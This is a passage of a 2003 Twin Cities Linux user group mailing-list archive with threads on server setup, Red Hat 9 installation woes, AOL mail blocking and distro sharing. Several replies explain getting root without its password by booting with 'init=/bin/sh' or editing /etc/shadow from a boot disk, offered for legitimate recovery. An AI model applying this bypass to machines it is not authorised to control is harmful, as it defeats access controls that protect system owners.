root password was mangled on > entry and now no one can log in as root. > > I thought that booting into single user mode would allow someone to change the > root password without knowing the old root password. On this box, however, > typing 'linux single' on boot still brings up a password prompt. I don't know if > there is a boot floppy anywhere. This is a recently updated Debian 3.0 machine. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Mon Aug 25 10:21:23 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <1061824232.3f4a26e845a78@my.visi.com> References: <1061824232.3f4a26e845a78@my.visi.com> Message-ID: On Mon, 25 Aug 2003, Timothy Wilson wrote: > Can anyone offer some advice on how to reset root? have tried to use "linux init=/bin/sh" instead? Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Mon Aug 25 10:23:37 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <1061824232.3f4a26e845a78@my.visi.com> References: <1061824232.3f4a26e845a78@my.visi.com> Message-ID: <20030825102337.179260dd.list@slushpupie.com> On Mon, 25 Aug 2003 10:10:32 -0500 Timothy Wilson wrote: >Can anyone offer some advice on how to reset root? If you can, try booting with: linux init=/bin/sh No services or anything will start (since init is replaced with /bin/sh) but you should be able to remount / as rw (mount -o remount,rw /) and then change the password. Make sure you remount as ro and run sync a few times before rebooting, just to be safe. Otherwise, you can often use a boot disk to mount the partition and modify /etc/shadow (just copy the password entry from a user who knows their password) Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From carlos at eberhardt.net Mon Aug 25 10:25:05 2003 From: carlos at eberhardt.net (Carlos Eberhardt) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <1061824232.3f4a26e845a78@my.visi.com> References: <1061824232.3f4a26e845a78@my.visi.com> Message-ID: <200308251025.05820.carlos@eberhardt.net> Will "linux init=/bin/bash" do the trick for you? I've never tried it myself, so hopefully someone else will provide more info, but I think that bypasses the normal init and will give you a root-access bash shell. I believe that mounts drives read-only, so you'll need to remount them read-write. *shrug* carlos On Monday 25 August 2003 10:10 am, Timothy Wilson wrote: > Hey everyone, > > I maintained the Web server at the school district where I used to work. > After moving on to a new job I sat down with the head geek over there and > they reset the root password. Unfortunately, it seems that the root > password was mangled on entry and now no one can log in as root. > > I thought that booting into single user mode would allow someone to change > the root password without knowing the old root password. On this box, > however, typing 'linux single' on boot still brings up a password prompt. I > don't know if there is a boot floppy anywhere. This is a recently updated > Debian 3.0 machine. > > Can anyone offer some advice on how to reset root? > > -Tim _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 10:30:41 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Potential Server needs help! In-Reply-To: <1061783487.3f4987c001669@208.179.130.60> References: <1061783487.3f4987c001669@208.179.130.60> Message-ID: <3F4A2BA1.6010602@visi.com> kcbnac@bnac.biz wrote: >I have this potential server (discussed several days ago in previous thread) > > > I sent a link a few days ago but I didn't test it at the time, I see now it didn't work :( sorry. This is the PDF for the IBM Redbook. ** I didn't send the Redbook PDF to the list because it's over 4 megabytes ** I did send it to Keith ;-) I use to work for IBM as a System Administrator, yes the xSeries (Intel servers) but mostly Compaq/HP. An IBM Redbook will tell you everything about the subject it is based on. In other words the IBM PC Server 330. I have to assume you know about PC's as you understand the terminology. Servers are similar to PC's but they are proprietary in the hardware design. In other words IBM, Compaq, Dell, etc... put in parts engineered by the respective company. You will need the information on the 330 so you can build the machine you want. The word build applies to more then the hardware. It includes building the system software that will let you install the OS. [Questions] Do you have the set of CD's that came with the server when it was new? This is important because these CD's contain the system software, it's required to "build" the machine. Don't worry the CD's can be acquired in several ways. In general where did you get the server? I ask this because they may have the CD's, most SA's (System Administrators) are happy to help out when someone is learning about systems. Some on the other hand are not. Did you buy this on eBay? If so I now an SA who may get me the CD's. Worst case we find the ISO's on an IBM site and build the CD's. Sam. > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 10:48:07 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Potential Server needs help! In-Reply-To: <1061784079.3f498a0f3fdd8@208.179.130.60> References: <1061784079.3f498a0f3fdd8@208.179.130.60> Message-ID: <3F4A2FB7.9050804@visi.com> kcbnac@bnac.biz wrote: >I need some help getting this system up and running. > > This is what I found for software on the server, 225 items found in the search. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 10:53:28 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Potential Server needs help! In-Reply-To: <1061784079.3f498a0f3fdd8@208.179.130.60> References: <1061784079.3f498a0f3fdd8@208.179.130.60> Message-ID: <3F4A30F8.9070509@visi.com> kcbnac@bnac.biz wrote: Well I found the CD's all 4 of them for Linux. http://www-1.ibm.com/support/dlsearch.wss?rs=0&dc=D410&atrn=SWPlatform&atrv=Linux&atrn1=SWVersion&atrv1=all&q=Server+330&tc=&loc=en_US&lang=en&cs=utf-8&r=10&rankfile=0&cc=us&Submit.x=99&Submit.y=6 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Mon Aug 25 10:54:31 2003 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <200308251025.05820.carlos@eberhardt.net> References: <1061824232.3f4a26e845a78@my.visi.com> <200308251025.05820.carlos@eberhardt.net> Message-ID: <1061826871.3f4a313767105@my.visi.com> Quoting Carlos Eberhardt : > Will "linux init=/bin/bash" do the trick for you? I've never tried it myself, > so hopefully someone else will provide more info, but I think that bypasses > the normal init and will give you a root-access bash shell. I believe that > mounts drives read-only, so you'll need to remount them read-write. > *shrug* Thanks for all the suggestions. I'll pass these along and hope that everything works out. -Tim -- Timothy D. Wilson Twin Cities, Minnesota, USA email: wilson@visi.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nota12b at iglide.net Mon Aug 25 10:55:02 2003 From: nota12b at iglide.net (Wil) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Re: visiting from Chicago- need Linux cd + cool stuff going on in MN (Robert Ebright) In-Reply-To: <20030825161901.26983.75401.Mailman@pirate.real-time.com> References: <20030825161901.26983.75401.Mailman@pirate.real-time.com> Message-ID: <1061826902.18408.14.camel@loki.valhalla> > Message: 3 > Date: Sun, 24 Aug 2003 14:53:32 -0500 (CDT) > From: "Robert Ebright" > To: tclug-list@mn-linux.org > Subject: [TCLUG] visiting from Chicago- need Linux cd + cool stuff going on in MN > Reply-To: tclug-list@mn-linux.org > > Hello everybody. > > I'm currently in Minneapolis and looking around > for a copy of linux, the distro isn't important, > but I want to install it for my girlfriend who > is working on a organic farm for the summer and > wants to relearn how to program in her freetime. > So we were going to work on LAMP projects. > > Basically it's an older PC P-133 w/ 64megs and a > 1.6 gig hard drive, so an older distro or one > that includes some of the lighter GUIs would be > ideal. > > I just haven't been able to find access to a > cd-burner and high speed internet, so I thought > I would appeal to the local linux community and > see if anybody has an extra copy lying around or > could burn one, that I could meet up with and > pick it up wherever. I have a bike and a lot of > free time but not much money. > > Are there any cool computer co-ops in this city, > and if not, why not ? Or else does anyone know > of a store that has burnt (not boxed) copies of > linux for sale, maybe out of the walnut creek > catalog so they're only 5$. > > The cities have been pretty inspirational to me > thus far with the wide network of worker-coops > and projects like that but I haven't found very > many cool tech-orientated places, perhaps there > just isn't the link between the social-minded > progressive projects and the free software > movement that I'm used to being in Chicago... > > Also have you heard about the cities plan to > create free wifi hot spots at all of the > recreation centers and parks ? I read about it > in the Pulse last week, that's pretty exciting. > Is there a community wifi movement going on in > this city if so I'd love to meet up with some of > the people involved in it cuz I'm trying to do > something like that in Chicago but haven't got > it going yet due to a extreme lack of funds. > > Also the idea of creating 802.11b wireless > freenet nodes is a good way of creating a > back-up redudnant freenet network that will go > beyond existing infrastructure and also provide > a secure way of using the openness of WIFI with > it's built in encryption of each transactions. > And thanks to the anonymity of it providing the > public with internet access to the freenet > project can't get you in trouble. That was > atleast my idea for some wifi stuff, of course > ideally we would just give everybody free > internet access. > > So anybody who has an extra distro of linux that > they could share I'd appreciate it. You can > e-mail me or page me at 866-377-9733 and I'll > get back to you. > > Thanks alot, if I'm still in town I'll probably > try and check out your next meeting on the 28th > right ? > > Chao, > Robbt I'll let you judge what you're calling 'old', but heres my list: RH 5.2 7.0 (iso) 7.1 7.2 7.3 8.0 8.1RC#3 (became 9) 9 Mandrake 7.2 8.1 8.2 9.0 9.1 SuSE LiveEval 6.3 LiveEval 7.0 LiveEval 8.1 8.1 Pro Debian 3.0 (iso) Gentoo 1.2 (iso) Knoppix 3.2 (iso) Slackware 9.0 (iso) If any of these are of interest let me know. Or there's spare 'pipe' sitting here if I can DL something? -- Wil Now back to your regularly scheduled procrastination, already in progress... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cschumann at twp-llc.com Mon Aug 25 11:22:55 2003 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Potential Server needs help! In-Reply-To: <20030825161901.26983.75401.Mailman@pirate.real-time.com> Message-ID: > Message: 7 > Date: Sun, 24 Aug 2003 20:51:28 -0700 > From: kcbnac@bnac.biz > Subject: [TCLUG] Potential Server needs help! > I can't get RH 9 to load...anybody got a clue? (using CD...I'm > going to try making a boot floppy) A lot of us have experience with RH9 and a few (including me) have experience using IBM hardware. What is the problem? When I got RH 6.x and 7.2 working on a Netfinity 5000 with an Adaptec 2100S RAID controller, I had to make a driver floppy and press F6 during the startup of the install program. Perhaps you'd have to do the same thing. Here's a link to a reference sheet of all IBM discontinued PC servers: ftp://ftp.pc.ibm.com/pcicrse/psref/swbook.pdf You've either got an Adaptec 7880 chipset or an IBM PC ServeRAID adapter. Both should have RH drivers available. I'm surprised they're not in RH 9 already. Here's a link to all of Adaptec's Linux drivers: http://www.adaptec.com/worldwide/support/driversbycat.html?sess=no&language= English+US&cat=%2fOperating+System%2fLinux Note that there aren't drivers for RH9. RH9 should have all of them. You can try IBM's support site for PC ServeRAID drivers. I couldn't find any for Linux, but you should try: http://www.ibm.com/support/us/ Chris _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Mon Aug 25 11:32:57 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant Message-ID: This is a rant. I'm not looking for help, just an outlet to vent. Please don't reply with fixes - I have a fix, in the form of SerrOFQ I think we can also skip the distro wars. I'm just ranting here... I'm installing DeadRat 9 on a box for a customer. The distro and hardware were chosen by the customer, I have just been told to do it. First, I've come to the conclusion that Compaq has designed their systems to be as completely unfriendly with RH as possible. We're talking SCO execs at a Linux Conference unfriendly. Again, a Compaq would not have been my choice, but neither would RH... In case anyone needs it, here is what is required to make the RH9 installation and anaconda start on a Proliant: linux text apm=off lowres noapic noht nomce nousb nousbstorage skipddc Mind you, in formulating the above novel/boot line, I crashed the installation 20 some times. Crashed to the point where 3-finger didn't work. And the fscking Compaq doesn't have a reset switch, so I have to power off, wait 30 seconds, then power back on. And since it's a Compaq, the POST takes near forever. This is after burning the 3 CD's needed for installation. I remember installing Slack off of about 20 floppies. I've even installed MS-based operating systems with only 1 CD, so this was kind of a shocker. So I finally got it installed and booted up normally. Great. Now I need some hot MySQL action. I told the installation program to go ahead and install MySQL straight away, so it was already there when I rebooted. Well, more specifically, the actual FILES were there, but mysql_install_db hadn't been run, and safe_mysqld isn't started at boot. The RPM'd installation appears to be worthless, since mysqld can't find the database directory, despite it being specified in my.cnf. So I decide it's probably going to take far less time to just remove it and install from source as I normally do. rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. Great, I've seen this kind of circular logic before, but out of Redmond. Okay, so I try rpm --erase --nodeps Perl-DBD and it hangs. Process is running, not gaining time. It's been sitting there spinning for 30 minutes. For anyone curious as to how to solve this mess, the solution I've devised involves a 6-pack of your beverage of choice (alc or non-alc to taste, although it's a *little* early to start drinking) and some heavy use of kill -9 and rm -r (I'm assuming I'll have to remove the alias rm=rm -i RH default that so irritates me). Kids, don't try this at home - I much prefer the heavy-handed approach, and since this won't be production, I could honestly care less. The moral of the story? Ports...mmm. /rant Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Mon Aug 25 11:47:37 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] AOL new mail policy References: <000401c369ea$90b7bc50$0436a8c0@Kurama> Message-ID: <02f401c36b28$97d86130$d037630a@dh.com> So .. use your home network MTA to foward to your ISP MTA. With postfix it is done with a line like so: relayhost = [smtp.visi.com] Tom Veldhouse ----- Original Message ----- From: "Joseph" To: Sent: Saturday, August 23, 2003 9:51 PM Subject: [TCLUG] AOL new mail policy > I was tried to send a message to an AOL account from my home network and > I received the following error message from them. > The original message was received at Thu, 21 Aug 2003 17:39:30 -0500 > from IDENT:1000@Lum.tomobiki.dyndns.org [192.168.57.2] > > ----- The following addresses had permanent fatal errors ----- > > (reason: 554- (RTR:BB) The IP address you are using to connect to > AOL is a dynamic > ) > > ----- Transcript of session follows ----- > ... while talking to mailin-04.mx.aol.com.: > <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a > dynamic <<< 554- (residential) IP address. AOL will not accept future > e-mail transactions <<< 554- from this IP address until your ISP removes > this IP address from its list <<< 554- of dynamic (residential) IP > addresses. For additional information, <<< 554 please visit > http://postmaster.info.aol.com. ... while talking to > mailin-01.mx.aol.com.: > >>> QUIT > <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a > dynamic <<< 554- (residential) IP address. AOL will not accept future > e-mail transactions <<< 554- from this IP address until your ISP removes > this IP address from its list <<< 554- of dynamic (residential) IP > addresses. For additional information, <<< 554 please visit > http://postmaster.info.aol.com. ... while talking to > mailin-02.mx.aol.com.: > >>> QUIT > <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a > dynamic <<< 554- (residential) IP address. AOL will not accept future > e-mail transactions <<< 554- from this IP address until your ISP removes > this IP address from its list <<< 554- of dynamic (residential) IP > addresses. For additional information, <<< 554 please visit > http://postmaster.info.aol.com. ... while talking to > mailin-03.mx.aol.com.: > >>> QUIT > <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a > dynamic <<< 554- (residential) IP address. AOL will not accept future > e-mail transactions <<< 554- from this IP address until your ISP removes > this IP address from its list <<< 554- of dynamic (residential) IP > addresses. For additional information, <<< 554 please visit > http://postmaster.info.aol.com. 554 5.0.0 Service unavailable > > It looks like this is the way they are trying to deal with the SPAM > problem. I had to use my ISP mail server to send the mail to the > account. > > Joseph Key > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 12:03:23 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant In-Reply-To: References: Message-ID: <3F4A415B.8080209@visi.com> Adam Maloney wrote: >This is a rant. I'm not looking for help, just an outlet to vent. Please >don't reply with fixes - I have a fix, in the form of > > I know you said don't reply but... When you ran smart start did you select the Linux option? What kind of Compaq is it? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Mon Aug 25 12:00:18 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant Message-ID: About the RPM thing, try to put all the packages and dependent packages on the "rpm -e" line and see if that works out. The same should work for installing mutually dependent packages. >>> adamm@sihope.com 08/25/03 11:32AM >>> rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. Great, I've seen this kind of circular logic before, but out of Redmond. Okay, so I try rpm --erase --nodeps Perl-DBD and it hangs. Process is running, not gaining time. It's been sitting there spinning for 30 minutes. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Mon Aug 25 12:05:28 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant References: Message-ID: <030301c36b2b$1618ddc0$d037630a@dh.com> ----- Original Message ----- From: "Adam Maloney" To: Sent: Monday, August 25, 2003 11:32 AM Subject: [TCLUG] Rant > > The moral of the story? Ports...mmm. > So ... do you use Gentoo ? :) Tom Veldhouse _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Mon Aug 25 12:23:46 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant In-Reply-To: ; from adamm@sihope.com on Mon, Aug 25, 2003 at 11:32:57AM -0500 References: Message-ID: <20030825122346.A10376@thinkunix.net> Adam Maloney wrote: > This is a rant. I'm not looking for help, just an outlet to vent. Please > don't reply with fixes - I have a fix, in the form of > > rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so > I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. > Great, I've seen this kind of circular logic before, but out of Redmond. apparently you've never had the pleasure of patching and HPUX system. I think they invented the circular dependency thing. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mj at toyotavans.org Mon Aug 25 12:22:09 2003 From: mj at toyotavans.org (M. Jentges) Date: Mon Jan 17 12:40:56 2005 Subject: [TCLUG] Rant In-Reply-To: References: Message-ID: <3F4A45C1.4000703@toyotavans.org> Adam Maloney wrote: > First, I've come to the conclusion that Compaq has designed their systems > to be as completely unfriendly with RH as possible. We're talking SCO > execs at a Linux Conference unfriendly. Again, a Compaq would not have > been my choice, but neither would RH... I find that suprising. I've had nothing but the best of luck with Proliants/Linux. I'm not a 'rh man' either, but I do have it running at 3 locations on Proliant 3000's and a 5500. Also, at their site compaq (HP) supports redhat inside and out on their servers. What model proliant were you using? I'll buy every word regarding the 'circular logic' though. :) -mj > > In case anyone needs it, here is what is required to make the RH9 > installation and anaconda start on a Proliant: > > linux text apm=off lowres noapic noht nomce nousb nousbstorage skipddc > > Mind you, in formulating the above novel/boot line, I crashed the > installation 20 some times. Crashed to the point where 3-finger didn't > work. And the fscking Compaq doesn't have a reset switch, so I have to > power off, wait 30 seconds, then power back on. And since it's a Compaq, > the POST takes near forever. > > This is after burning the 3 CD's needed for installation. I remember > installing Slack off of about 20 floppies. I've even installed MS-based > operating systems with only 1 CD, so this was kind of a shocker. > > So I finally got it installed and booted up normally. Great. Now I need > some hot MySQL action. I told the installation program to go ahead and > install MySQL straight away, so it was already there when I rebooted. > > Well, more specifically, the actual FILES were there, but mysql_install_db > hadn't been run, and safe_mysqld isn't started at boot. The RPM'd > installation appears to be worthless, since mysqld can't find the database > directory, despite it being specified in my.cnf. So I decide it's > probably going to take far less time to just remove it and install from > source as I normally do. > > rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so > I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. > Great, I've seen this kind of circular logic before, but out of Redmond. > Okay, so I try rpm --erase --nodeps Perl-DBD and it hangs. Process is > running, not gaining time. It's been sitting there spinning for 30 > minutes. > > For anyone curious as to how to solve this mess, the solution I've devised > involves a 6-pack of your beverage of choice (alc or non-alc to taste, > although it's a *little* early to start drinking) and some heavy use of > kill -9 and rm -r (I'm assuming I'll have to remove the alias rm=rm -i RH > default that so irritates me). Kids, don't try this at home - I much > prefer the heavy-handed approach, and since this won't be production, I > could honestly care less. > > The moral of the story? Ports...mmm. > > /rant > > Adam Maloney > Systems Administrator > Sihope Communications > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 12:45:23 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Old Computer Hardware Heads UP! Message-ID: <3F4A4B33.6090407@visi.com> I'm building a list of the old computer hardware I have acquired over the last 10 years or so... OMG will my wife be so happy! I'm going to post it on my site in a few days, what a way to get hits... wait I don't have a counter, why would I need one. Any way, it will all be free with the caveat that you will have to come and get it. I'm not working so I can't afford the gas to deliver all this stuff. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Mon Aug 25 12:42:41 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: <3F4A415B.8080209@visi.com> Message-ID: From: Sam MacDonald > When you ran smart start did you select the Linux option? > What kind of Compaq is it? I didn't run it - someone else did. And I think they selected the "screw you hippie" option, because that's the vibe I'm getting. That's a choice right? :) From: Troy.A Johnson > About the RPM thing, try to put all the packages > and dependent packages on the "rpm -e" line > and see if that works out. The same should work > for installing mutually dependent packages. Thanks. I'll give that a try when the box stops smoking and I pick all the pieces up from the pavement 5 floors down. From: Thomas T. Veldhouse > So ... do you use Gentoo ? :) HERETIC! Just for that I shall slander you back: Thomas Veldhouse likes SCO! :) From: Scot Jenkins > apparently you've never had the pleasure of patching and HPUX system. I > think they invented the circular dependency thing. No, not HSUX (thank god) - but AIX is annoyingly similar. Sorry everyone, I'm in one of those moods. Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 25 13:08:52 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: References: Message-ID: <3F4A50B4.901@visi.com> Adam Maloney wrote: >From: Sam MacDonald > > >>When you ran smart start did you select the Linux option? >>What kind of Compaq is it? >> >> > >I didn't run it - someone else did. And I think they selected the "screw >you hippie" option, because that's the vibe I'm getting. That's a choice >right? :) > > > OH no, if they didn't us the Linux option you will have issues. The Linux option tells the hardware to understand Linux OS. Without Smart Start the hardware will not work as it should, it will work but... Ask them what option they used in smart start, if they don't remember what they did, they did "screw the hippie". What kind of Compaq server is it? I have smartstart 5.40 ;o) if your interested and I can show you how to use it in about 15 minutes. Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tsinks at isd.net Mon Aug 25 13:20:36 2003 From: tsinks at isd.net (Tim Sinks) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant References: Message-ID: <00c201c36b35$98405ee0$0300000a@net.tsinks> I have had RH 5.0 - 6.2 - 9.x and have no problems loading on my CPQ Presario 1700T. I am running Win98 with CPQ's backup SYSTEM_SAV area as 'D:' and have had minimal problems loading any of the packages. It loaded and recognized all the peripherals including the Netgear 16 bit FA411, the HP 8200 CDRW and the exchange of the floppy and CD/DVD drives. I have not run it as a Linux only system. The most complicated things have been that the early packages required the non GUI text mode and being careful about the sizes and locations of the partitions. I have used both Ranish's and Partition Magic and both worked. I have been getting the updates in a good manner to the many packages I have set up. Like I say the biggest problems I have had are with the particular system I have is a lemon. It will shut off if I touch it wrong and has been through the maintenance black hole - 6 months to get it back. I can start the mysqld just fine. I'm a novice at sql and I don't have it started as part of startup. As far as circular, every Unix/Linux/M$/TandemGuardian I've ever touched has a piece of that action. I believe it is a law of the universe to incorporate at least the minimum of that in all computer junk. Have a nice day, Tim ----- Original Message ----- From: "Adam Maloney" To: Sent: Monday, August 25, 2003 11:32 AM Subject: [TCLUG] Rant > This is a rant. I'm not looking for help, just an outlet to vent. Please > don't reply with fixes - I have a fix, in the form of > SerrOFQ I think we can also skip the distro wars. I'm > just ranting here... > > I'm installing DeadRat 9 on a box for a customer. The distro and hardware > were chosen by the customer, I have just been told to do it. > > First, I've come to the conclusion that Compaq has designed their systems > to be as completely unfriendly with RH as possible. We're talking SCO > execs at a Linux Conference unfriendly. Again, a Compaq would not have > been my choice, but neither would RH... > > In case anyone needs it, here is what is required to make the RH9 > installation and anaconda start on a Proliant: > > linux text apm=off lowres noapic noht nomce nousb nousbstorage skipddc > > Mind you, in formulating the above novel/boot line, I crashed the > installation 20 some times. Crashed to the point where 3-finger didn't > work. And the fscking Compaq doesn't have a reset switch, so I have to > power off, wait 30 seconds, then power back on. And since it's a Compaq, > the POST takes near forever. > > This is after burning the 3 CD's needed for installation. I remember > installing Slack off of about 20 floppies. I've even installed MS-based > operating systems with only 1 CD, so this was kind of a shocker. > > So I finally got it installed and booted up normally. Great. Now I need > some hot MySQL action. I told the installation program to go ahead and > install MySQL straight away, so it was already there when I rebooted. > > Well, more specifically, the actual FILES were there, but mysql_install_db > hadn't been run, and safe_mysqld isn't started at boot. The RPM'd > installation appears to be worthless, since mysqld can't find the database > directory, despite it being specified in my.cnf. So I decide it's > probably going to take far less time to just remove it and install from > source as I normally do. > > rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so > I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. > Great, I've seen this kind of circular logic before, but out of Redmond. > Okay, so I try rpm --erase --nodeps Perl-DBD and it hangs. Process is > running, not gaining time. It's been sitting there spinning for 30 > minutes. > > For anyone curious as to how to solve this mess, the solution I've devised > involves a 6-pack of your beverage of choice (alc or non-alc to taste, > although it's a *little* early to start drinking) and some heavy use of > kill -9 and rm -r (I'm assuming I'll have to remove the alias rm=rm -i RH > default that so irritates me). Kids, don't try this at home - I much > prefer the heavy-handed approach, and since this won't be production, I > could honestly care less. > > The moral of the story? Ports...mmm. > > /rant > > Adam Maloney > Systems Administrator > Sihope Communications > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Mon Aug 25 14:47:05 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:57 2005 Subject: [TCLUG] Rant In-Reply-To: References: Message-ID: <20030825194705.GE13598@techmonkeys.org> On Mon, Aug 25, 2003 at 11:32:57AM -0500, Adam Maloney wrote: [yup, i'm replying] > This is after burning the 3 CD's needed for installation. I remember > installing Slack off of about 20 floppies. I've even installed MS-based > operating systems with only 1 CD, so this was kind of a shocker. You can install RedHat many ways, 2 floppies, 1 CD, or 3 CD's MS OS's don't come with 2 database servers, a web server, web proxy, something like 6 different programming languages, quite a few games, and a bazillion other things you may or may not need. > Well, more specifically, the actual FILES were there, but mysql_install_db > hadn't been run, and safe_mysqld isn't started at boot. The RPM'd > installation appears to be worthless, since mysqld can't find the database > directory, despite it being specified in my.cnf. So I decide it's > probably going to take far less time to just remove it and install from > source as I normally do. I've never seen the installation script fail for mysql-server, safe_mysqld isn't supposed to be started at boot (This is RedHat, not .. nevermind, everything just isn't enabled by default) > rpm --erase Mysql-blah fails depends check because of Perl-DBD. Okay, so > I rpm --erase Perl-DBD, which fails depends check because of Mysql-blah. > Great, I've seen this kind of circular logic before, but out of Redmond. > Okay, so I try rpm --erase 